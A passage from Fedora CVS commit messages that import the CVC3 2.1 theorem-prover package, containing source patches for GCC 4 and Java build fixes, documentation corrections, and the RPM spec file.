+ * \param quantLevel the quantification level for the formula
  */
 Theorem QuantTheoremProducer::universalInst(const Theorem& t1, const  vector<Expr>& terms, int quantLevel){
 
diff -dur cvc3-2.1.ORIG/src/theory_quant/theory_quant.cpp cvc3-2.1/src/theory_quant/theory_quant.cpp
--- cvc3-2.1.ORIG/src/theory_quant/theory_quant.cpp	2009-10-07 00:24:44.000000000 -0600
+++ cvc3-2.1/src/theory_quant/theory_quant.cpp	2009-10-19 10:13:12.795232784 -0600
@@ -2860,7 +2860,7 @@
 }
 
 
-void TheoryQuant::setupTriggers(ExprMap<ExprMap<vector<dynTrig>* >*>& trig_maps, const Theorem& thm, size_t univs_id){
+void TheoryQuant::setupTriggers(ExprMap<ExprMap<std::vector<dynTrig>* >*>& trig_maps, const Theorem& thm, size_t univs_id){
 
   //  static std::vector<Expr> libQuant;
   const Expr& e = thm.getExpr();
@@ -4137,7 +4137,7 @@
 }
 
 //match a gterm against all the trigs in d_allmap_trigs
-void TheoryQuant::matchListNew(ExprMap<ExprMap<vector<dynTrig>*>*>& new_trigs,
+void TheoryQuant::matchListNew(ExprMap<ExprMap<std::vector<dynTrig>*>*>& new_trigs,
 			       const CDList<Expr>& glist,
 			       size_t gbegin,
 			       size_t gend){
@@ -7984,7 +7984,7 @@
   d_lastEqsUpdatePos.set(d_eqsUpdate.size());
 }
 
-void TheoryQuant::synCheckSat(ExprMap<ExprMap<vector<dynTrig>* >* >&  new_trigs, bool fullEffort){
+void TheoryQuant::synCheckSat(ExprMap<ExprMap<std::vector<dynTrig>* >* >&  new_trigs, bool fullEffort){
 
   d_allout=false;
 
diff -dur cvc3-2.1.ORIG/src/vcl/vcl.cpp cvc3-2.1/src/vcl/vcl.cpp
--- cvc3-2.1.ORIG/src/vcl/vcl.cpp	2009-10-15 14:29:30.000000000 -0600
+++ cvc3-2.1/src/vcl/vcl.cpp	2009-10-19 10:13:12.798131491 -0600
@@ -775,8 +775,8 @@
 }
 
 
-Type VCL::recordType(const vector<string>& fields,
-		     const vector<Type>& types)
+Type VCL::recordType(const std::vector<std::string>& fields,
+		     const std::vector<Type>& types)
 {
   DebugAssert(fields.size() == types.size(),
 	      "VCL::recordType: number of fields is different \n"
@@ -789,9 +789,10 @@
 }
 
 
-Type VCL::dataType(const string& name,
-                   const string& constructor,
-                   const vector<string>& selectors, const vector<Expr>& types)
+Type VCL::dataType(const std::string& name,
+                   const std::string& constructor,
+                   const std::vector<std::string>& selectors,
+                   const std::vector<Expr>& types)
 {
   vector<string> constructors;
   constructors.push_back(constructor);
@@ -806,10 +807,10 @@
 }
 
 
-Type VCL::dataType(const string& name,
-                   const vector<string>& constructors,
-                   const vector<vector<string> >& selectors,
-                   const vector<vector<Expr> >& types)
+Type VCL::dataType(const std::string& name,
+                   const std::vector<std::string>& constructors,
+                   const std::vector<std::vector<std::string> >& selectors,
+                   const std::vector<std::vector<Expr> >& types)
 {
   Expr res = d_theoryDatatype->dataType(name, constructors, selectors, types);
   if(d_dump) {
@@ -819,11 +820,11 @@
 }
 
 
-void VCL::dataType(const vector<string>& names,
-                   const vector<vector<string> >& constructors,
-                   const vector<vector<vector<string> > >& selectors,
-                   const vector<vector<vector<Expr> > >& types,
-                   vector<Type>& returnTypes)
+void VCL::dataType(const std::vector<std::string>& names,
+                   const std::vector<std::vector<std::string> >& constructors,
+                   const std::vector<std::vector<std::vector<std::string> > >& selectors,
+                   const std::vector<std::vector<std::vector<Expr> > >& types,
+                   std::vector<Type>& returnTypes)
 {
   Expr res = d_theoryDatatype->dataType(names, constructors, selectors, types);
   if(d_dump) {
@@ -1405,8 +1406,8 @@
 }
 
 
-Expr VCL::recordExpr(const vector<string>& fields,
-		     const vector<Expr>& exprs)
+Expr VCL::recordExpr(const std::vector<std::string>& fields,
+		     const std::vector<Expr>& exprs)
 {
   DebugAssert(fields.size() > 0, "VCL::recordExpr()");
   DebugAssert(fields.size() == exprs.size(),"VCL::recordExpr()");
@@ -2107,7 +2108,7 @@
 }
 
 
-bool VCL::incomplete(vector<string>& reasons) {
+bool VCL::incomplete(std::vector<std::string>& reasons) {
   // TODO: add to interactive interface
   // Return true only after a failed query
   return (d_lastQuery.isNull() && d_theoryCore->incomplete(reasons));

cvc3-gcc4.patch:
 include/command_line_exception.h                |    2 +-
 include/memory_manager_context.h                |    1 +
 include/sound_exception.h                       |    2 +-
 theory_arith/arith_exception.h                  |    2 +-
 theory_bitvector/bitvector_theorem_producer.cpp |    1 +
 util/debug.cpp                                  |    1 +
 util/rational-gmp.cpp                           |    1 +
 7 files changed, 7 insertions(+), 3 deletions(-)

--- NEW FILE cvc3-gcc4.patch ---
diff -dur cvc3-2.1.ORIG/src/include/command_line_exception.h cvc3-2.1/src/include/command_line_exception.h
--- cvc3-2.1.ORIG/src/include/command_line_exception.h	2006-08-09 15:19:30.000000000 -0600
+++ cvc3-2.1/src/include/command_line_exception.h	2009-10-16 09:34:46.141974605 -0600
@@ -31,7 +31,7 @@
   // Constructors
   CLException() { }
   CLException(const std::string& msg): Exception(msg) { }
-  CLException(char* msg): Exception(msg) { }
+  CLException(const char* msg): Exception(msg) { }
   // Destructor
   virtual ~CLException() { }
   // Printing the message
diff -dur cvc3-2.1.ORIG/src/include/memory_manager_context.h cvc3-2.1/src/include/memory_manager_context.h
--- cvc3-2.1.ORIG/src/include/memory_manager_context.h	2009-04-10 14:38:25.000000000 -0600
+++ cvc3-2.1/src/include/memory_manager_context.h	2009-10-16 09:34:46.141974605 -0600
@@ -21,6 +21,7 @@
 #ifndef _cvc3__include__memory_manager_context_h
 #define _cvc3__include__memory_manager_context_h
 
+#include <cstdlib>
 #include <vector>
 #include "memory_manager.h"
 
diff -dur cvc3-2.1.ORIG/src/include/sound_exception.h cvc3-2.1/src/include/sound_exception.h
--- cvc3-2.1.ORIG/src/include/sound_exception.h	2006-08-09 15:19:30.000000000 -0600
+++ cvc3-2.1/src/include/sound_exception.h	2009-10-16 09:34:46.142839030 -0600
@@ -33,7 +33,7 @@
     // Constructors
     SoundException() { }
     SoundException(const std::string& msg): Exception(msg) { }
-    SoundException(char* msg): Exception(msg) { }
+    SoundException(const char* msg): Exception(msg) { }
     // Destructor
     virtual ~SoundException() { }
     virtual std::string toString() const {
diff -dur cvc3-2.1.ORIG/src/theory_arith/arith_exception.h cvc3-2.1/src/theory_arith/arith_exception.h
--- cvc3-2.1.ORIG/src/theory_arith/arith_exception.h	2006-08-09 15:19:31.000000000 -0600
+++ cvc3-2.1/src/theory_arith/arith_exception.h	2009-10-16 09:35:47.378849519 -0600
@@ -35,7 +35,7 @@
     // Constructors
     ArithException() { }
     ArithException(const std::string& msg): Exception(msg) { }
-    ArithException(char* msg): Exception(msg) { }
+    ArithException(const char* msg): Exception(msg) { }
     // Destructor
     virtual ~ArithException() { }
     virtual std::string toString() const {
diff -dur cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp
--- cvc3-2.1.ORIG/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-16 09:34:37.696911611 -0600
+++ cvc3-2.1/src/theory_bitvector/bitvector_theorem_producer.cpp	2009-10-16 09:36:54.411809170 -0600
@@ -28,6 +28,7 @@
 // This code is trusted
 #define _CVC3_TRUSTED_
 
+#include <cstdio>
 #include "bitvector_theorem_producer.h"
 #include "common_proof_rules.h"
 #include "theory_core.h"
diff -dur cvc3-2.1.ORIG/src/util/debug.cpp cvc3-2.1/src/util/debug.cpp
--- cvc3-2.1.ORIG/src/util/debug.cpp	2009-03-03 10:31:33.000000000 -0700
+++ cvc3-2.1/src/util/debug.cpp	2009-10-16 09:34:46.144161887 -0600
@@ -19,6 +19,7 @@
  */
 /*****************************************************************************/
 
+#include <cstdlib>
 #include <fstream>
 #include <stdlib.h>
 
diff -dur cvc3-2.1.ORIG/src/util/rational-gmp.cpp cvc3-2.1/src/util/rational-gmp.cpp
--- cvc3-2.1.ORIG/src/util/rational-gmp.cpp	2008-11-14 13:49:11.000000000 -0700
+++ cvc3-2.1/src/util/rational-gmp.cpp	2009-10-16 09:34:46.145125371 -0600
@@ -24,6 +24,7 @@
 #include "compat_hash_set.h"
 #include "rational.h"
 
+#include <climits>
 #include <sstream>
 #include <gmp.h>
 #include <limits.h>

cvc3-java.patch:
 include/cvc3/JniUtils.h           |    4 ++--
 src/cvc3/JniUtils.cpp             |    5 ++++-
 src/cvc3/ValidityChecker_impl.cpp |    4 ++--
 3 files changed, 8 insertions(+), 5 deletions(-)

--- NEW FILE cvc3-java.patch ---
diff -dur cvc3-2.1.ORIG/java/include/cvc3/JniUtils.h cvc3-2.1/java/include/cvc3/JniUtils.h
--- cvc3-2.1.ORIG/java/include/cvc3/JniUtils.h	2008-12-12 15:48:14.000000000 -0700
+++ cvc3-2.1/java/include/cvc3/JniUtils.h	2009-10-19 11:22:57.817991587 -0600
@@ -168,7 +168,7 @@
 	env->FindClass("java/lang/Object"),
 	NULL);
 
-    for (int i = 0; i < v.size(); ++i) {
+    for (unsigned int i = 0U; i < v.size(); ++i) {
       env->SetObjectArrayElement(jarray, i, embed_copy<T>(env, v[i]));
     }
 
@@ -182,7 +182,7 @@
 	env->FindClass("java/lang/Object"),
 	NULL);
 
-    for (int i = 0; i < v.size(); ++i) {
+    for (unsigned int i = 0U; i < v.size(); ++i) {
       env->SetObjectArrayElement(jarray, i, embed_const_ref<T>(env, &v[i]));
     }
 
diff -dur cvc3-2.1.ORIG/java/src/cvc3/JniUtils.cpp cvc3-2.1/java/src/cvc3/JniUtils.cpp
--- cvc3-2.1.ORIG/java/src/cvc3/JniUtils.cpp	2008-10-01 12:35:31.000000000 -0600
+++ cvc3-2.1/java/src/cvc3/JniUtils.cpp	2009-10-19 11:22:17.203023038 -0600
@@ -74,6 +74,9 @@
     case PRESENTATION_LANG: return toJava(env, "PRESENTATION");
     case SMTLIB_LANG: return toJava(env, "SMTLIB");
     case LISP_LANG: return toJava(env, "LISP");
+    case AST_LANG: return toJava(env, "AST");
+    case SIMPLIFY_LANG: return toJava(env, "SIMPLIFY");
+    case TPTP_LANG: return toJava(env, "TPTP");
     }
     
     DebugAssert(false, "JniUtils::toJava(InputLanguage): unreachable");
@@ -155,7 +158,7 @@
 	env->FindClass("java/lang/String"),
 	env->NewStringUTF(""));
 
-    for(int i = 0; i < v.size(); ++i) {
+    for(unsigned int i = 0U; i < v.size(); ++i) {
       env->SetObjectArrayElement(jarray, i, toJava(env, v[i]));
     }
 
diff -dur cvc3-2.1.ORIG/java/src/cvc3/ValidityChecker_impl.cpp cvc3-2.1/java/src/cvc3/ValidityChecker_impl.cpp
--- cvc3-2.1.ORIG/java/src/cvc3/ValidityChecker_impl.cpp	2009-09-30 12:54:35.000000000 -0600
+++ cvc3-2.1/java/src/cvc3/ValidityChecker_impl.cpp	2009-10-19 11:22:17.203023038 -0600
@@ -584,11 +584,11 @@
 return embed_copy(env, vc->forallExpr(vars, *body));
 
 DEFINITION: Java_cvc3_ValidityChecker_jniForallExpr2
-jobject m ValidityChecker vc cv Expr vars c Expr body cv Expr triggers
+jobject m ValidityChecker vc cv Expr vars c Expr body cvv Expr triggers
 return embed_copy(env, vc->forallExpr(vars, *body, triggers));
 
 DEFINITION: Java_cvc3_ValidityChecker_jniSetTriggers
-void m ValidityChecker vc c Expr closure cv Expr triggers
+void m ValidityChecker vc c Expr closure cvv Expr triggers
 vc->setTriggers(*closure, triggers);
 
 DEFINITION: Java_cvc3_ValidityChecker_jniExistsExpr


--- NEW FILE cvc3.spec ---
# If the emacs-el package has installed a pkgconfig file, use that to determine
# install locations and Emacs version at build time, otherwise set defaults.
%if %($(pkg-config emacs) ; echo $?)
%define emacs_version 22.1
%define emacs_lispdir %{_datadir}/emacs/site-lisp
%else
%define emacs_version %(pkg-config emacs --modversion)
%define emacs_lispdir %(pkg-config emacs --variable sitepkglispdir)
%endif

# If the xemacs-devel package has installed a pkgconfig file, use that to
# determine install locations and Emacs version at build time, otherwise set
# defaults.
%if %($(pkg-config xemacs) ; echo $?)
%define xemacs_version 21.5
%define xemacs_lispdir %{_datadir}/xemacs/site-packages/lisp
%else
%define xemacs_version %(pkg-config xemacs --modversion)
%define xemacs_lispdir %(pkg-config xemacs --variable sitepkglispdir)
%endif

Name:           cvc3
Version:        2.1
Release:        2%{?dist}
Summary:        Validity checker of many-sorted first-order formulas with theories

Group:          Applications/Engineering
License:        BSD
URL:            http://www.cs.nyu.edu/acsys/cvc3/
Source:         http://www.cs.nyu.edu/acsys/cvc3/download/%{version}/cvc3-%{version}.tar.gz
# Override compiler flag selection so that $RPM_OPT_FLAGS will take effect.
# Submitted upstream June 2008.
Patch0:         cvc3-build.patch
# Fix a few problems in the doxygen documentation.
# Submitted upstream June 2008, with an update in August 2008.
Patch1:         cvc3-doc.patch
# GCC 4.3+ uses a streamlined header architecture, so more includes are needed.
# This patch was last submitted upstream on 16 Oct 2009.
Patch2:         cvc3-gcc4.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
# Fix Java build problems.  This patch was last sent upstream on 19 Oct 2009.
Patch3:         cvc3-java.patch

BuildRequires:  bison, doxygen, emacs, emacs-el, flex, gnu-free-sans-fonts
BuildRequires:  gmp-devel, graphviz, java-devel, jpackage-utils, perl, time
BuildRequires:  transfig, tex(latex), xemacs, xemacs-devel
Requires:       gnu-free-sans-fonts

%description
CVC3 is an automatic theorem prover for Satisfiability Modulo Theories (SMT)
problems.  It can be used to prove the validity (or, dually, the
satisfiability) of first-order formulas in a large number of built-in logical
theories and their combination.

CVC3 is the latest offspring of a series of popular SMT provers, which
originated at Stanford University with the SVC system.  In particular, it
builds on the code base of CVC Lite, its most recent predecessor.  Its high
level design follows that of the Sammy prover.

CVC3 works with a version of first-order logic with polymorphic types and has
a wide variety of features including:

 * several built-in base theories: rational and integer linear arithmetic,
   arrays, tuples, records, inductive data types, bit vectors, and equality
   over uninterpreted function symbols;
 * support for quantifiers;
 * an interactive text-based interface;
 * a rich C and C++ API for embedding in other systems;
 * proof and model generation abilities;
 * predicate subtyping;
 * essentially no limit on its use for research or commercial purposes (see
   license).

For example, if you run 'cvc3 +interactive' and submit:
  i, j: INT; ASSERT i = j + 1; QUERY i>j;
it will determine "Valid."  If you then ask:
  QUERY i<j; COUNTERMODEL;
it will determine "Invalid." and show an example demonstrating when the formula
is not true (e.g., i = 0 and j = -1).

%package devel
Group:          Development/Libraries
Summary:        Header files for development with CVC3
Requires:       %{name} = %{version}-%{release}

%description devel
Header files need to develop with CVC3.

%package doc
Group:          Documentation
Summary:        API documentation for CVC3
Requires:       %{name} = %{version}-%{release}

%description doc
API documentation for CVC3.

%package java
Group:          Development/Libraries/Java
Summary:        Java interface for CVC3
Requires:       %{name} = %{version}-%{release}, java, jpackage-utils

%description java
Java interface for CVC3.

%package emacs
Group:          Applications/Engineering
Summary:        Compiled Emacs mode for CVC3
Requires:       emacs(bin) >= %{emacs_version}
Requires:       %{name} = %{version}-%{release}

%description emacs
This package contains the byte compiled CVC3 mode for Emacs.

%package emacs-el
Group:          Applications/Engineering
Summary:        Elisp source files for the CVC3 Emacs mode
Requires:       %{name} = %{version}-%{release}

%description emacs-el
This package contains the source Elisp files for the CVC3 mode for Emacs.  You
do not need to install this package to run %{name}.  Install the %{name}-emacs
package to use %{name} with Emacs.

%package xemacs
Group:          Applications/Engineering
Summary:        Compiled XEmacs mode for CVC3
Requires:       xemacs(bin) >= %{xemacs_version}
Requires:       %{name} = %{version}-%{release}

%description xemacs
This package contains the byte compiled CVC3 mode for XEmacs.

%package xemacs-el
Group:          Applications/Engineering
Summary:        Elisp source files for the CVC3 XEmacs mode
Requires:       %{name} = %{version}-%{release}

%description xemacs-el
This package contains the source Elisp files for the CVC3 mode for XEmacs.  You
do not need to install this package to run %{name}.  Install the %{name}-xemacs
package to use %{name} with XEmacs.

%prep
%setup -q
%patch0 -p1
%patch1 -p1
%patch2 -p1
%patch3 -p1

# We can't use loadLibrary, since the JNI libaries are not in a standard place
sed -i \
 -e "s|loadLibrary(\"cvc3jni\")|load(\"%{_libdir}/%{name}/libcvc3jni.so\")|" \
 java/src/cvc3/Embedded.java

%build
%configure --with-build=optimized --enable-dynamic --enable-java \
  --with-java-home=/usr/lib/jvm/java
make %{?_smp_mflags}

# Build the documentation
cd doc
make
rm -f html/*.{map,md5}

%install
rm -rf %{buildroot}

mkdir -p %{buildroot}%{_libdir}/%{name}
%makeinstall javadir=%{buildroot}%{_libdir}/%{name}

# Byte compile the CVC3 mode file for Emacs
mkdir -p %{buildroot}%{_datadir}/emacs/site-lisp
cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/emacs/site-lisp
pushd %{buildroot}%{_datadir}/emacs/site-lisp
emacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
popd

# Byte compile the CVC3 mode file for XEmacs
mkdir -p %{buildroot}%{_datadir}/xemacs/site-packages/lisp
cp -p emacs/cvc-mode.el %{buildroot}%{_datadir}/xemacs/site-packages/lisp
pushd %{buildroot}%{_datadir}/xemacs/site-packages/lisp
xemacs --batch --no-site-file -f batch-byte-compile cvc-mode.el
popd

# Add missing executable bits to the shared libraries
chmod a+x %{buildroot}%{_libdir}/*.so.*

# Move the JNI libraries to the right place
mv %{buildroot}%{_libdir}/libcvc3jni.* %{buildroot}%{_libdir}/%{name}

# FIXME: dot segfaults on building one inheritance graph, leaving a 0-byte file
badfile="doc/html/classHash_1_1hash__table__inherit__graph.png"
if [ -f "$badfile" -a ! -s "$badfile" ] ; then
  rm -f "$badfile"
fi

%check
LD_LIBRARY_PATH=`pwd`/lib make regressonly4

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc INSTALL LICENSE PEOPLE README VERSION
%{_bindir}/cvc3
%{_libdir}/libcvc3.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/cvc3
%{_libdir}/*.so

%files doc
%defattr(-,root,root,-)
%doc doc/html

%files java
%defattr(-,root,root,-)
%{_libdir}/%{name}

%files emacs
%defattr(-,root,root,-)
%{_datadir}/emacs/site-lisp/*.elc

%files emacs-el
%defattr(-,root,root,-)
%{_datadir}/emacs/site-lisp/*.el

%files xemacs
%defattr(-,root,root,-)
%{_datadir}/xemacs/site-packages/lisp/*.elc

%files xemacs-el
%defattr(-,root,root,-)
%{_datadir}/xemacs/site-packages/lisp/*.el

%changelog
* Mon Oct 19 2009 Jerry James <loganjerry at gmail.com> - 2.1-2
- Fix problems found on review
- Enable the Java interface

* Thu Oct 15 2009 Jerry James <loganjerry at gmail.com> - 2.1-1
- Initial RPM


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:07:31 -0000	1.1
+++ .cvsignore	22 Oct 2009 16:27:53 -0000	1.2
@@ -0,0 +1 @@
+cvc3-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:07:31 -0000	1.1
+++ sources	22 Oct 2009 16:27:53 -0000	1.2
@@ -0,0 +1 @@
+d3756ab645f2e8d567217d8be16a4404  cvc3-2.1.tar.gz



From jjames at fedoraproject.org  Thu Oct 22 16:27:54 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 22 Oct 2009 16:27:54 +0000 (UTC)
Subject: rpms/cvc3/F-12 cvc3-build.patch, NONE, 1.1 cvc3-doc.patch, NONE,
	1.1 cvc3-gcc4.patch, NONE, 1.1 cvc3-java.patch, NONE,
	1.1 cvc3.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091022162754.4A92211C008C@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/cvc3/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26501/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	cvc3-build.patch cvc3-doc.patch cvc3-gcc4.patch 
	cvc3-java.patch cvc3.spec 
Log Message:
Initial import into F-11 and F-12 branches.


cvc3-build.patch:
 Makefile.std |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE cvc3-build.patch ---
diff -dur cvc3-2.1.ORIG/Makefile.std cvc3-2.1/Makefile.std
--- cvc3-2.1.ORIG/Makefile.std	2009-09-30 12:54:34.000000000 -0600
+++ cvc3-2.1/Makefile.std	2009-10-15 21:12:35.804289073 -0600
@@ -92,7 +92,7 @@
   DEBUG_PLATFORM = -optdbg
 else
 ifeq ($(OPTIMIZED),1)
-  LOCAL_CXXFLAGS = -O2
+  LOCAL_CXXFLAGS =
   DEBUG_PLATFORM =
 else
   LOCAL_CXXFLAGS = -D_CVC3_DEBUG_MODE -g -O0
@@ -177,7 +177,7 @@
   BUILD_SHARED_LIB=1
 endif
 
-LOCAL_CXXFLAGS += -Wall $(INCLUDE_DIR)
+LOCAL_CXXFLAGS += $(INCLUDE_DIR)
 
 ifdef EXTRAFLAGS
   LOCAL_CXXFLAGS += $(EXTRAFLAGS)

cvc3-doc.patch:
 INSTALL                                             |    2 
 doc/Doxyfile.in                                     |   30 ++++++++++---
 src/include/expr.h                                  |    2 
 src/include/theory_arith3.h                         |    2 
 src/include/theory_arith_new.h                      |   17 ++++---
 src/include/theory_arith_old.h                      |   11 ++---
 src/include/vc.h                                    |   12 ++---
 src/sat/sat_proof.h                                 |    2 
 src/theory_arith/theory_arith3.cpp                  |    2 
 src/theory_arith/theory_arith_new.cpp               |    2 
 src/theory_arith/theory_arith_old.cpp               |    2 
 src/theory_bitvector/bitvector_theorem_producer.cpp |   44 ++++++++++----------
 src/theory_core/theory_core.cpp                     |    2 
 src/theory_datatype/theory_datatype.cpp             |   16 +++----
 src/theory_quant/quant_theorem_producer.cpp         |    1 
 src/theory_quant/theory_quant.cpp                   |    6 +-
 src/vcl/vcl.cpp                                     |   35 ++++++++-------
 17 files changed, 103 insertions(+), 85 deletions(-)

--- NEW FILE cvc3-doc.patch ---
diff -dur cvc3-2.1.ORIG/doc/Doxyfile.in cvc3-2.1/doc/Doxyfile.in
--- cvc3-2.1.ORIG/doc/Doxyfile.in	2007-09-12 18:06:50.000000000 -0600
+++ cvc3-2.1/doc/Doxyfile.in	2009-10-19 10:13:12.768107753 -0600
@@ -31,7 +31,7 @@
 # This could be handy for archiving the generated documentation or 
 # if some version control system is used.
 
-PROJECT_NUMBER         = 
+PROJECT_NUMBER         = 2.1
 
 # The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) 
 # base path where the generated documentation will be put. 
@@ -499,8 +499,7 @@
 # excluded from the INPUT source files. This way you can easily exclude a 
 # subdirectory from a directory tree whose root is specified with the INPUT tag.
 
-EXCLUDE                = devel.dox \
-                         theory_api.dox
+EXCLUDE                = devel.dox
 
 # The EXCLUDE_SYMLINKS tag can be used select whether or not files or 
 # directories that are symbolic links (a Unix filesystem feature) are excluded 
@@ -1042,8 +1041,7 @@
 # undefined via #undef or recursively expanded use the := operator 
 # instead of the = operator.
 
-PREDEFINED             = DEBUG \
-                         DOXYGEN
+PREDEFINED             = DOXYGEN
 
 # If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then 
 # this tag can be used to specify a list of macro names that should be expanded. 
@@ -1137,6 +1135,24 @@
 
 HAVE_DOT               = @HAVE_DOT@
 
+# By default doxygen will write a font called FreeSans.ttf to the output 
+# directory and reference it in all dot files that doxygen generates. This 
+# font does not include all possible unicode characters however, so when you need 
+# these (or just want a differently looking font) you can specify the font name 
+# using DOT_FONTNAME. You need need to make sure dot is able to find the font, 
+# which can be done by putting it in a standard location or by setting the 
+# DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory 
+# containing the font.
+
+DOT_FONTNAME           = FreeSans
+
+# By default doxygen will tell dot to use the output directory to look for the 
+# FreeSans.ttf font (which doxygen will put there itself). If you specify a 
+# different font using DOT_FONTNAME you can set the path where dot 
+# can find it using this tag.
+
+DOT_FONTPATH           = /usr/share/fonts/gnu-free
+
 # If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen 
 # will generate a graph for each documented class showing the direct and 
 # indirect inheritance relations. Setting this tag to YES will force the 
@@ -1213,7 +1229,7 @@
 # generated by dot. Possible values are png, jpg, or gif
 # If left blank png will be used.
 
-DOT_IMAGE_FORMAT       = gif
+DOT_IMAGE_FORMAT       = png
 
 # The tag DOT_PATH can be used to specify the path where the dot tool can be 
 # found. If left blank, it is assumed the dot tool can be found in the path.
@@ -1247,7 +1263,7 @@
 # makes dot run faster, but since only newer versions of dot (>1.8.10) 
 # support this, this feature is disabled by default.
 
-DOT_MULTI_TARGETS      = NO
+DOT_MULTI_TARGETS      = YES
 
 # If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will 
 # generate a legend page explaining the meaning of the various boxes and 
diff -dur cvc3-2.1.ORIG/INSTALL cvc3-2.1/INSTALL
--- cvc3-2.1.ORIG/INSTALL	2009-10-15 16:06:18.000000000 -0600
+++ cvc3-2.1/INSTALL	2009-10-19 10:13:59.048162819 -0600
@@ -196,7 +196,7 @@
 </pre>
 
 <b>Note:</b> The Java interface depends on the "build type" (e.g.,
-"optimized", "debug) of %CVC3. If you choose to re-configure and
+"optimized", "debug") of %CVC3. If you choose to re-configure and
 re-build %CVC3 with a different build type, you must run "make clean"
 in the current directory and re-build the interface (cleaning and 
 rebuilding the entire %CVC3 package will suffice).
diff -dur cvc3-2.1.ORIG/src/include/expr.h cvc3-2.1/src/include/expr.h
--- cvc3-2.1.ORIG/src/include/expr.h	2009-10-04 12:41:29.000000000 -0600
+++ cvc3-2.1/src/include/expr.h	2009-10-19 10:13:37.775165727 -0600
@@ -388,7 +388,7 @@
   //! Test if e is an atomic formula
   /*! An atomic formula is TRUE or FALSE or an application of a predicate
     (possibly 0-ary) which does not properly contain any formula.  For
-    instance, the formula "x = IF f THEN y ELSE z ENDIF is not an atomic
+    instance, the formula "x = IF f THEN y ELSE z ENDIF" is not an atomic
     formula, since it contains the condition "f", which is a formula. */
   bool isAtomicFormula() const;
   //! An abstract atomic formua is an atomic formula or a quantified formula
diff -dur cvc3-2.1.ORIG/src/include/theory_arith3.h cvc3-2.1/src/include/theory_arith3.h
--- cvc3-2.1.ORIG/src/include/theory_arith3.h	2009-05-29 23:48:15.000000000 -0600
+++ cvc3-2.1/src/include/theory_arith3.h	2009-10-19 10:13:12.769107906 -0600
@@ -337,7 +337,7 @@
 	 * Fixes the current max coefficient to be used in the ordering. If the maximal coefficient
 	 * changes in the future, it will not be used in the ordering.
 	 * 
-	 * @param var the variable
+	 * @param variable the variable
 	 * @param max the value to set it to
 	 */ 
 	void fixCurrentMaxCoefficient(Expr variable, Rational max);
diff -dur cvc3-2.1.ORIG/src/include/theory_arith_new.h cvc3-2.1/src/include/theory_arith_new.h
--- cvc3-2.1.ORIG/src/include/theory_arith_new.h	2009-06-29 20:14:48.000000000 -0600
+++ cvc3-2.1/src/include/theory_arith_new.h	2009-10-19 10:13:12.769107906 -0600
@@ -434,7 +434,7 @@
   				inline bool operator == (const EpsRational& r) const { return (q == r.q && k == r.k);	}
   				
   				/**
-  				 * Les then or equal comparison operator.
+  				 * Less than or equal comparison operator.
   				 */
   				inline bool operator <= (const EpsRational& r) const { 
   					switch (r.type) {
@@ -459,12 +459,12 @@
   				}
   				
   				/**
-  				 * Les then comparison operator.
+  				 * Less than comparison operator.
   				 */
   				inline bool operator < (const EpsRational& r) const { return !(r <= *this); }
   				
   				/**
-  				 * Bigger then equal comparison operator.
+  				 * Greater than comparison operator.
   				 */
   				inline bool operator > (const EpsRational& r) const { return !(*this <= r); }
   				
@@ -787,6 +787,7 @@
   		 * Asserts a new upper bound constraint on a variable and performs a simple check for consistency (not complete).
   		 * 
   		 * @param x_i the variable to assert the bound on
+  		 * @param c the bound to assert
 		 */
   		QueryResult assertUpper(const Expr& x_i, const EpsRational& c, const Theorem& thm);
 
@@ -794,13 +795,15 @@
   		 * Asserts a new lower bound constraint on a variable and performs a simple check for consistency (not complete).
   		 * 
   		 * @param x_i the variable to assert the bound on
+  		 * @param c the bound to assert
 		 */
   		QueryResult assertLower(const Expr& x_i, const EpsRational& c, const Theorem& thm);
   		
   		/**
-  		 * Asserts a new equality constraint on a variable by asserting both upper and lower bound.
+  		 * Asserts a new equality constraint on a variable by asserting both upper and lower bounds.
   		 * 
   		 * @param x_i the variable to assert the bound on
+  		 * @param c the the bound to assert
 		 */
   		QueryResult assertEqual(const Expr& x_i, const EpsRational& c, const Theorem& thm);  		
 
@@ -862,8 +865,8 @@
   		
   		/**
   		 * Knowing that the tableaux row for \f$x_i\f$ is the problematic one, generate the
-  		 * explanation clause. The variables in the row of \f$x_i = \sum_{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separatied to
-  		 * <ul>
+		 * explanation clause. The variables in the row of \f$x_i = \sum_x{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separated to
+		 * <ul>
   		 * <li>\f$\mathcal{N}^+ = \left\lbrace x_j \in \mathcal{N} \; | \; a_{ij} > 0 \right\rbrace\f$
 		 * <li>\f$\mathcal{N}^- = \left\lbrace  x_j \in \mathcal{N} \; | \; a_{ij} < 0\right\rbrace\f$ 
   		 * </ul>
@@ -878,7 +881,7 @@
 
   		/**
   		 * Knowing that the tableaux row for \f$x_i\f$ is the problematic one, generate the
